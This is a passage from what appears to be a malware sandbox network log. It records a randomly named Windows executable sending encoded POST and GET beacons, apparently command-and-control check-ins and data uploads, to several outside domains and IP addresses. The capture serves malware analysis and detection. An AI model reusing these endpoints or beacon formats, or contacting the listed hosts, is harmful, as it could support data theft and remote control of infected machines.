kR8XbB2P=64TukoECUmIA87hD0OH6Rb+ArN2+bbm1gXZGsxM+6cLHY4Uo7JV4WSXdmQjzCwFrNaVeuQaqlhqTzKgjaEeZMBQrkP7KRWxRsj0RzRqmhTDEe8ry/1pjqvoxSFUYmMnb5UL2C3c6mQV9iFX67CjWz0/dyGFaDPJa3khu/6Qb2zze+tszvNKInT6SIUpWbZ9nWsqneJThO90u0mhJC7S+6NLCEa4mn4c3NR/RgAyRuRDp1rWih8BGBmo6u2st4oNCLhFMgfQeSFnLQ8CPBWLKjLL1qxHI3P4YiiAZiy/BUw7bPHuM/9FZX1qsSWa1lLcX9WHAirPT+5wnNle2zVAnVdRwSX970Vl1fSo8wxv3ZEWXREm901h2BFjrswNzdUSmwg9mBVQfARzja0afJf5j4PuEUZKjgT4QpCxYEZjGOarJgMh9Try9JCqPI6EADA6zrgl4Ipue6OorbZys83N7H5Lk1NIOqxng498PWmgJcjxKRtzOkIh6ctrmQPJ6ZtgOSx9CbJDiRVVI25VMcGCHGIAyONGUZuTCDXwSfmj1ui6oyuMraHRh4ePsmsPePLOycwOqOoA/B3GMXUk/MQXeOrR8XzCy8031GumORd8bf1N6Ku4ZN7p2qbOlhvlyFU5bRG8tHfr1zs1zFss80pThXfGXF19MFMVRQGTff8ZKszOKrBU9PwEFBgaippSp4dhloJduAVbGoJNTmZC9P5bYDVu8DoNOlOki2Qm7Kmil9zUyNaD+YJ6sbq1hSg1xf+Rq/4Sdue4R6A7mp51i320ebTFj1GPMASXYPc6XSv1Thg8VHEkQ3k66edVbHRJTWFbVSqs3Fo3bdE4Qeb8fpAFx9FavVl8f5YjhFQjkTcGIL34KNv8+2XYdrAPo7LNAxPKWPcM4mX6DngUxsDehSnSOpxgHkY/5jpU2rzMGJeFhLuYGJYo2qjjJexXZ86+soJyXtZdCcAfVnJ8GoXR/13sjef/SHQNPl2mn6l9UzeuVd/p [TRUNCATED]
Jan 10, 2025 23:22:03.367994070 CET	3867	OUT	Data Raw: 38 30 4b 6e 39 4f 6a 39 65 76 66 56 49 64 66 67 6e 45 46 37 54 54 6e 75 54 4c 33 5a 45 6f 37 41 6b 79 67 67 4d 35 66 52 54 2b 67 71 52 2f 54 79 4a 70 4d 4d 4f 45 70 4c 63 35 6b 68 71 35 75 42 64 4d 64 7a 32 4a 36 4d 79 47 52 32 73 6e 31 64 33 59 Data Ascii: 80Kn9Oj9evfVIdfgnEF7TTnuTL3ZEo7AkyggM5fRT+gqR/TyJpMMOEpLc5khq5uBdMdz2J6MyGR2sn1d3YaioE1BUJcs4q1BVR5i/jsGv07dey0xuK7VCPJHY16aBmA7mMjHk/Gb/c4/zTDxcnbLrXH8apyRFoMsrvoorGvLbjPEjLs5dGKW2T46ct3Os+NwB4ZaWXnCNUCtf5J6KyTDVjXOkWC98JThvFo6Pa+YC6T7k8WCoub
Jan 10, 2025 23:22:03.368068933 CET	1558	OUT	Data Raw: 6a 71 49 38 30 6b 4f 6a 38 76 49 38 6d 70 77 71 46 50 42 64 59 49 62 31 66 43 74 62 5a 4e 6b 4f 65 61 68 4e 52 4c 4f 69 53 31 4e 32 51 45 6b 77 75 38 76 5a 4a 78 38 79 6f 47 6f 31 35 2f 49 38 50 6f 6e 52 7a 79 79 75 65 51 50 7a 45 64 46 7a 36 74 Data Ascii: jqI80kOj8vI8mpwqFPBdYIb1fCtbZNkOeahNRLOiS1N2QEkwu8vZJx8yoGo15/I8PonRzyyueQPzEdFz6tI9oW02tY3+4TPqTZLNQ7pbocIZCE/NniLAcStttnDSIOkmbOIjyVNsVh4llOri7GPMPlKD4/DgG8SttTThpl9z1O8zPpA/SKimhw5XaqPjH/Aux1Pwn4RkJgvTNJAq9jfO84exYOyqU2Xgz6WOnMm5lPj2dLjoqpO
Jan 10, 2025 23:22:04.412254095 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49784	3.33.130.190	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:06.022072077 CET	549	OUT	GET /nqht/?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.likesharecomment.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:22:06.159636021 CET	377	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 10 Jan 2025 22:22:06 GMT content-length: 256 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6f 52 51 30 3d 4f 56 32 34 58 30 26 6b 52 38 58 62 42 32 50 3d 33 36 37 4f 6e 64 77 50 4c 6c 67 31 72 74 56 47 79 2b 6a 62 55 36 66 61 72 4d 4c 68 66 36 65 39 70 51 38 34 79 41 63 34 38 38 76 62 66 5a 4d 4a 74 35 5a 2b 48 77 33 7a 37 68 58 72 4d 43 59 2f 56 5a 6f 52 32 6a 2f 6e 68 68 2b 66 31 62 35 76 64 55 4f 71 4f 77 68 5a 6b 38 2f 46 65 6d 39 79 6e 41 70 71 38 69 66 76 6b 51 2f 57 4a 73 6e 6e 2f 6d 63 56 6b 65 63 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49785	38.46.13.54	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:11.927599907 CET	807	OUT	POST /jo65/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.397256.pink Origin: http://www.397256.pink Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.397256.pink/jo65/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 73 68 79 52 51 4c 68 4b 49 35 4f 2f 71 35 75 77 66 37 54 6f 61 44 33 39 79 55 54 42 76 4b 68 73 4c 63 6d 71 34 63 67 34 68 79 77 49 58 59 51 57 75 52 76 58 52 39 4b 6e 4e 74 4b 41 52 43 59 73 77 78 47 4b 45 74 4f 72 35 38 52 41 49 41 31 62 59 6c 4d 54 4b 64 64 6e 63 77 6c 42 6d 72 36 4a 2f 30 4d 34 61 34 4e 6a 52 6d 6f 2b 54 62 76 45 57 39 47 79 73 69 37 61 54 37 73 58 77 48 76 52 5a 42 6f 37 58 41 63 6c 41 41 58 41 74 33 6d 39 63 4c 33 49 4e 44 47 69 76 59 59 73 55 57 6b 47 39 4a 69 33 75 44 30 51 32 75 35 33 6a 39 75 6f 65 45 35 68 38 45 32 4b 57 59 62 36 4a 49 45 74 51 77 3d 3d Data Ascii: kR8XbB2P=shyRQLhKI5O/q5uwf7ToaD39yUTBvKhsLcmq4cg4hywIXYQWuRvXR9KnNtKARCYswxGKEtOr58RAIA1bYlMTKddncwlBmr6J/0M4a4NjRmo+TbvEW9Gysi7aT7sXwHvRZBo7XAclAAXAt3m9cL3INDGivYYsUWkG9Ji3uD0Q2u53j9uoeE5h8E2KWYb6JIEtQw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49786	38.46.13.54	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:14.761151075 CET	827	OUT	POST /jo65/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.397256.pink Origin: http://www.397256.pink Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.397256.pink/jo65/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 73 68 79 52 51 4c 68 4b 49 35 4f 2f 71 59 65 77 54 39 62 6f 59 6a 33 2b 39 30 54 42 68 61 68 6f 4c 63 71 71 34 64 55 6f 67 41 45 49 58 34 41 57 74 56 7a 58 53 39 4b 6e 56 64 4b 46 66 69 59 6e 77 78 4c 33 45 6f 4f 72 35 38 46 41 49 44 68 62 5a 55 4d 55 51 74 64 68 48 41 6c 50 70 4c 36 4a 2f 30 4d 34 61 34 5a 5a 52 6d 67 2b 51 72 66 45 57 63 47 78 71 53 37 64 45 4c 73 58 30 48 76 56 5a 42 6f 5a 58 45 55 4c 41 44 76 41 74 32 57 39 63 61 33 50 48 44 47 65 68 34 5a 51 56 45 78 75 6c 62 47 54 76 78 63 56 2b 4d 56 53 69 72 6a 79 44 32 4e 46 2f 58 71 34 53 6f 69 53 4c 4b 46 32 4e 7a 77 39 51 39 78 30 64 4c 31 6d 32 38 6a 6b 63 4f 45 49 7a 6b 4d 3d Data Ascii: kR8XbB2P=shyRQLhKI5O/qYewT9boYj3+90TBhahoLcqq4dUogAEIX4AWtVzXS9KnVdKFfiYnwxL3EoOr58FAIDhbZUMUQtdhHAlPpL6J/0M4a4ZZRmg+QrfEWcGxqS7dELsX0HvVZBoZXEULADvAt2W9ca3PHDGeh4ZQVExulbGTvxcV+MVSirjyD2NF/Xq4SoiSLKF2Nzw9Q9x0dL1m28jkcOEIzkM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49787	38.46.13.54	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:17.588890076 CET	2578	OUT	POST /jo65/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.397256.pink Origin: http://www.397256.pink Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.397256.pink/jo65/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 73 68 79 52 51 4c 68 4b 49 35 4f 2f 71 59 65 77 54 39 62 6f 59 6a 33 2b 39 30 54 42 68 61 68 6f 4c 63 71 71 34 64 55 6f 67 41 63 49 58 72 59 57 76 30 7a 58 54 39 4b 6e 63 39 4b 45 66 69 59 6d 77 79 37 37 45 6f 4b 52 35 36 42 41 4a 6a 39 62 51 47 6b 55 46 39 64 68 59 77 6c 43 6d 72 37 42 2f 30 63 30 61 34 4a 5a 52 6d 67 2b 51 70 33 45 52 4e 47 78 6f 53 37 61 54 37 73 6c 77 48 75 4b 5a 42 78 6b 58 45 51 31 42 79 50 41 74 57 47 39 54 49 66 50 4c 44 47 6d 73 59 5a 49 56 45 74 78 6c 62 71 66 76 79 41 7a 2b 4b 56 53 6a 2b 65 6d 53 45 35 44 71 32 65 31 53 5a 65 4c 4c 64 34 6e 4a 52 41 61 65 63 52 4a 45 38 68 64 2b 4f 7a 59 59 75 63 33 78 44 41 4a 71 55 79 7a 6a 4e 37 54 4f 32 4f 73 56 43 78 7a 43 72 65 43 6d 4e 43 38 73 6c 34 79 59 61 31 65 56 63 72 44 6f 4c 43 54 36 67 45 70 65 43 74 75 4e 46 44 4e 4c 68 48 62 32 38 49 79 57 73 35 47 47 4f 6f 62 38 54 61 73 48 76 39 76 62 30 53 4c 55 79 36 54 77 71 4c 4e 50 63 2f 6d 34 6d 67 6a 76 50 74 34 50 63 36 2f 61 72 47 2b 65 44 4f 2b 46 [TRUNCATED] Data Ascii: kR8XbB2P=shyRQLhKI5O/qYewT9boYj3+90TBhahoLcqq4dUogAcIXrYWv0zXT9Knc9KEfiYmwy77EoKR56BAJj9bQGkUF9dhYwlCmr7B/0c0a4JZRmg+Qp3ERNGxoS7aT7slwHuKZBxkXEQ1ByPAtWG9TIfPLDGmsYZIVEtxlbqfvyAz+KVSj+emSE5Dq2e1SZeLLd4nJRAaecRJE8hd+OzYYuc3xDAJqUyzjN7TO2OsVCxzCreCmNC8sl4yYa1eVcrDoLCT6gEpeCtuNFDNLhHb28IyWs5GGOob8TasHv9vb0SLUy6TwqLNPc/m4mgjvPt4Pc6/arG+eDO+FT+dJfAkM71vkH6BO1bz8U7p1Lj1ocp7e5h9euWo1GVjLaFJileqv8rZ276cZBx5Xr5rQ8TKkSM44WIxbSPz3XcmiUmsIHCdEr77MelRW8fWx3hnoguVROV0iZfxhlCLSbl72SIe0zC/RlWVzN2clRbIFlHgYv8JP1Qc6fkxkHTkBp507Kykjv9xpCGPQp+TfiXbdfWeWw0FB9HMXS7FPPBgCOajBOauZCWeMbU9IrzmFNtsmxSPGVSmt0yuKC1pBlwlXTL2krq9TvKN+6xuTf2ijkv5jSxrsduVc9k27tBYZuUl06xIHFsz3VIns8oiij7FLdGO5c/KAYHMyMF/9OHPXpkRlXJS3ACE5oQK9YUHLvfkoL3u7zwhRSQVCSiXsDlfmg4HBPr1hu3MufUxxCXiugJw2miVYoMgzEFOs5WD6Yw6kedM+ZHCs4z7mYLb7sS756irf2IIlMvwoJDUYcu2WH5mzXsxSjZDrNilfgkyj4a+LfwxL/hURUex4OyOz3RYoZlwjLz1lU8Sjd12cx57jGalvdSD3GUEuF9kYhkaW/rvYeCESdsgDr7U2RBy3JzhlMLCwwGFVOLKRsbBmpN3BoU2ladbnFgDtgBJltLkMW+WPIsWhfzB0sqG+vsyE8/DjbFihVZVhHr+wOI6D8/UzvdwTIoyWDA [TRUNCATED]
Jan 10, 2025 23:22:17.588960886 CET	5156	OUT	Data Raw: 50 2b 36 31 54 59 43 68 7a 35 53 45 6b 6b 74 39 71 53 42 53 51 33 7a 6b 61 6d 53 72 71 47 73 79 6d 61 75 35 31 6c 57 7a 48 4c 43 51 70 31 6d 56 69 50 51 7a 44 33 4a 58 6c 6a 72 39 7a 68 77 47 65 4c 55 62 44 31 38 30 30 33 6a 4a 37 41 52 59 31 52 Data Ascii: P+61TYChz5SEkkt9qSBSQ3zkamSrqGsymau51lWzHLCQp1mViPQzD3JXljr9zhwGeLUbD18003jJ7ARY1Rkkrtt8Wb/eIfuW0mysY3cMYSddOsuECwDUyYl+iNTZv3VBkjWHlkoXH35kzxuz5Vv8in6GL/7cZWJ/uuCM/+eavjUdaS8oiMhgUtNh3MSZpDbwiUVQkw9Vb6x5mjOrQ9TD19tabHAG1b6sefCsW8GQYwI9S2aCmZs
Jan 10, 2025 23:22:17.588975906 CET	242	OUT	Data Raw: 35 32 41 44 6b 47 69 2b 61 33 43 30 50 63 50 30 7a 50 75 4c 69 6e 4a 46 59 63 33 4c 71 47 78 30 35 6d 50 67 70 6f 49 43 2f 55 67 74 4e 79 43 52 2f 44 64 65 77 32 66 6c 66 44 38 78 65 31 66 75 62 51 44 34 65 46 75 51 79 71 53 47 4a 34 4d 59 79 76 Data Ascii: 52ADkGi+a3C0PcP0zPuLinJFYc3LqGx05mPgpoIC/UgtNyCR/Ddew2flfD8xe1fubQD4eFuQyqSGJ4MYyvVWgVAA4u/GPOHvAa4L/CMzeZWDHJLWE1Q2/AxQSslUvp6/HQAbputDTSJTd8pbqoq6hyLsxfxjq4/9CBxn4N+vkF8W7lhFsS3GBf/nxJjPkQl9m+IwgOITTb+yyp+JgCH+V/Mv9fbUp2oLAztk7y3inHSw/aoQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49788	38.46.13.54	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:20.409482002 CET	540	OUT	GET /jo65/?kR8XbB2P=hjaxT7ABO46ercCzU5jTbSXY4mrNqLZSBJHcmNwepChuPKFV1mqvJ62aMu+yfR8UiTr4IO7Rg/lCNSZ1SGAGOdoGTm5yu7zX00VDXrhTS1wkXbjXSP7JuDM=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.397256.pink Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.11.20	49789	46.253.5.221	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:26.172967911 CET	813	OUT	POST /3jkd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.windsky.click Origin: http://www.windsky.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.windsky.click/3jkd/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 69 67 43 50 73 79 35 72 44 72 47 53 56 6d 39 31 56 69 2f 6b 58 30 64 67 50 43 64 32 30 65 77 6d 54 42 53 62 5a 71 31 66 57 64 6c 33 6a 6a 71 6f 7a 58 6e 61 76 39 6f 41 68 65 79 63 68 75 77 33 37 64 74 4e 31 77 59 6c 44 2f 48 4f 44 5a 4c 44 57 53 4c 45 62 33 6d 71 49 2f 37 56 62 4c 37 46 39 2f 2b 76 4b 31 53 4e 69 70 65 56 63 46 78 61 72 37 70 51 56 61 33 42 47 4b 4a 41 79 74 4e 33 67 6a 4d 5a 6a 34 63 74 4f 72 53 47 4e 2b 73 63 66 46 43 5a 72 63 65 4e 48 79 36 2f 2f 44 52 4d 44 48 31 76 4a 57 33 79 54 79 72 62 7a 6c 50 6e 35 41 64 55 73 57 65 52 4e 38 48 33 65 53 45 6e 6f 41 3d 3d Data Ascii: kR8XbB2P=igCPsy5rDrGSVm91Vi/kX0dgPCd20ewmTBSbZq1fWdl3jjqozXnav9oAheychuw37dtN1wYlD/HODZLDWSLEb3mqI/7VbL7F9/+vK1SNipeVcFxar7pQVa3BGKJAytN3gjMZj4ctOrSGN+scfFCZrceNHy6//DRMDH1vJW3yTyrbzlPn5AdUsWeRN8H3eSEnoA==
Jan 10, 2025 23:22:26.556855917 CET	774	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Content-Encoding: gzip Data Raw: 31 30 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 6d 51 31 52 c3 30 10 ec 79 c5 a1 1a 3b b8 a3 88 d2 10 e8 18 52 84 82 f2 22 2f f6 4d 64 99 f1 1d f1 e4 f7 28 09 99 24 1e d4 ed 4a bb da bd 23 3a 9d f9 fd f2 fd 79 fd b9 7a a1 d6 ba b8 b8 a3 33 7f 80 14 39 35 de 21 b9 eb 0b 70 7d 81 47 aa 83 31 85 96 07 85 79 f7 b1 7e 2d 9e dc 7f 4f 12 77 f0 6e 27 18 bf fb c1 1c 85 3e 19 52 96 8c 52 5b eb 6b ec 24 a0 38 82 07 92 24 26 1c 0b 0d 1c e1 ab f2 71 6a 19 25 6d 69 40 f4 4e 6d 1f a1 2d 90 3d db 01 5f 67 a6 0c aa 53 95 89 45 2c de 58 8c 53 00 75 50 e5 06 f3 d9 89 bf d4 9c dd f6 9c 6f fa 7a 3f b1 aa 65 47 21 b2 aa 77 1d cb a1 ca c1 b2 f8 b3 9c 7c 7c 9a 5d b5 58 b7 a0 11 1b 15 03 89 d2 4f aa 31 34 bd a4 86 ae 3c 4a 5a 45 b0 22 4f a8 03 6d 38 6c f3 2a 0c 43 99 63 55 93 14 b3 1c e3 3a f7 6d d0 2c b8 d9 eb 2f b4 74 8c 33 f8 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 10dmQ1R0y;R"/Md($J#:yz395!p}G1y~-Own'>RR[k$8$&qj%mi@Nm-=_gSE,XSuPoz?eG!w\|\|]XO14<JZE"Om8l*CcU:m,/t30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.11.20	49790	46.253.5.221	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:28.974680901 CET	833	OUT	POST /3jkd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.windsky.click Origin: http://www.windsky.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.windsky.click/3jkd/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 69 67 43 50 73 79 35 72 44 72 47 53 55 48 4e 31 57 44 2f 6b 52 55 64 6a 44 69 64 32 74 75 77 71 54 42 75 62 5a 6f 59 43 57 76 52 33 6a 43 61 6f 79 53 54 61 73 39 6f 41 70 2b 79 5a 6c 75 77 73 37 64 52 72 31 31 67 6c 44 2f 54 4f 44 5a 37 44 57 46 33 48 4b 33 6d 2f 52 50 37 41 66 4c 37 46 39 2f 2b 76 4b 31 48 67 69 71 75 56 63 31 42 61 71 61 70 54 4a 4b 33 43 42 4b 4a 41 6a 39 4e 7a 67 6a 4e 6a 6a 38 39 43 4f 70 71 47 4e 2f 63 63 66 57 61 65 34 38 65 4c 49 53 37 78 73 52 41 72 48 33 64 48 46 6e 76 74 63 6a 7a 4a 2f 54 43 39 6b 79 70 77 76 46 43 6a 4a 4d 2b 66 63 51 46 38 31 43 39 73 77 36 6b 50 51 43 7a 6a 79 44 71 68 57 72 2f 6e 49 38 73 3d Data Ascii: kR8XbB2P=igCPsy5rDrGSUHN1WD/kRUdjDid2tuwqTBubZoYCWvR3jCaoySTas9oAp+yZluws7dRr11glD/TODZ7DWF3HK3m/RP7AfL7F9/+vK1HgiquVc1BaqapTJK3CBKJAj9NzgjNjj89COpqGN/ccfWae48eLIS7xsRArH3dHFnvtcjzJ/TC9kypwvFCjJM+fcQF81C9sw6kPQCzjyDqhWr/nI8s=
Jan 10, 2025 23:22:29.350470066 CET	774	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Content-Encoding: gzip Data Raw: 31 30 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 6d 51 31 52 c3 30 10 ec 79 c5 a1 1a 3b b8 a3 88 d2 10 e8 18 52 84 82 f2 22 2f f6 4d 64 99 f1 1d f1 e4 f7 28 09 99 24 1e d4 ed 4a bb da bd 23 3a 9d f9 fd f2 fd 79 fd b9 7a a1 d6 ba b8 b8 a3 33 7f 80 14 39 35 de 21 b9 eb 0b 70 7d 81 47 aa 83 31 85 96 07 85 79 f7 b1 7e 2d 9e dc 7f 4f 12 77 f0 6e 27 18 bf fb c1 1c 85 3e 19 52 96 8c 52 5b eb 6b ec 24 a0 38 82 07 92 24 26 1c 0b 0d 1c e1 ab f2 71 6a 19 25 6d 69 40 f4 4e 6d 1f a1 2d 90 3d db 01 5f 67 a6 0c aa 53 95 89 45 2c de 58 8c 53 00 75 50 e5 06 f3 d9 89 bf d4 9c dd f6 9c 6f fa 7a 3f b1 aa 65 47 21 b2 aa 77 1d cb a1 ca c1 b2 f8 b3 9c 7c 7c 9a 5d b5 58 b7 a0 11 1b 15 03 89 d2 4f aa 31 34 bd a4 86 ae 3c 4a 5a 45 b0 22 4f a8 03 6d 38 6c f3 2a 0c 43 99 63 55 93 14 b3 1c e3 3a f7 6d d0 2c b8 d9 eb 2f b4 74 8c 33 f8 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 10dmQ1R0y;R"/Md($J#:yz395!p}G1y~-Own'>RR[k$8$&qj%mi@Nm-=_gSE,XSuPoz?eG!w\|\|]XO14<JZE"Om8l*CcU:m,/t30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.11.20	49791	46.253.5.221	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:31.776813030 CET	2578	OUT	POST /3jkd/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.windsky.click Origin: http://www.windsky.click Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.windsky.click/3jkd/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 69 67 43 50 73 79 35 72 44 72 47 53 55 48 4e 31 57 44 2f 6b 52 55 64 6a 44 69 64 32 74 75 77 71 54 42 75 62 5a 6f 59 43 57 76 4a 33 6b 77 53 6f 39 52 37 61 74 39 6f 41 31 75 79 59 6c 75 77 74 37 5a 46 6e 31 30 63 62 44 38 72 4f 43 37 7a 44 42 45 33 48 44 33 6d 2f 5a 76 37 55 62 4c 37 71 39 2f 75 72 4b 31 58 67 69 71 75 56 63 32 5a 61 74 4c 70 54 61 36 33 42 47 4b 4a 79 79 74 4e 58 67 67 39 5a 6a 38 34 39 4a 5a 4b 47 4e 66 4d 63 5a 6c 2b 65 37 63 65 4a 4c 53 36 73 73 52 4d 30 48 33 52 4c 46 6e 72 58 63 69 37 4a 73 6d 32 6e 36 6d 31 31 77 6e 48 74 56 49 75 46 56 57 42 32 2b 69 4a 57 78 37 63 47 54 6d 6a 6c 7a 41 4b 30 4c 59 57 34 63 